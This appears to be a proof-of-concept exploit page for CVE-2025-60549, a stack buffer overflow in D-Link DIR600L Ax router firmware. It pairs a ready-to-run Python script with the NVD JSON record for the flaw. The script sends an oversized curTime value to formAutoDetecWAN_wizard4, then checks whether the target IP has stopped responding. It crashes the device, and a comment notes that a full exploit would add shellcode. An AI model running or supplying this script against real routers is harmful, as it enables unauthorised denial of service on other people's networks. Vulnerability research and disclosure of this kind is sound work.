CVE-2025-60549

import requests import sys # CVE-2025-60549 PoC - D-Link DIR600L Ax Buffer Overflow # Target: formAutoDetecWAN_wizard4 via curTime parameter def exploit_buffer_overflow(target_ip, port=80): """ Exploit for CVE-2025-60549 Buffer Overflow in curTime parameter of formAutoDetecWAN_wizard4 Args: target_ip: Target router IP address port: HTTP port (default: 80) """ target_url = f"http://{target_ip}:{port}/formAutoDetecWAN_wizard4" # Buffer overflow payload - 1000 bytes to trigger overflow # In real exploit, this would be crafted with return address and shellcode overflow_payload = "A" * 1000 params = { "curTime": overflow_payload } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") try: response = requests.get(target_url, params=params, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") # Check if device is still responsive (DoS successful) check_url = f"http://{target_ip}:{port}/" try: check_response = requests.get(check_url, timeout=5) print("[-] Target still responsive") except requests.exceptions.RequestException: print("[+] Exploit successful - Target device appears crashed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target_ip, port)

{"cve": {"id": "CVE-2025-60549", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:18:13.877", "lastModified": "2025-10-28T02:32:07.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formAutoDetecWAN_wizard4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/05-buffer%20overflow-formAutoDetecWAN_wizard4.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}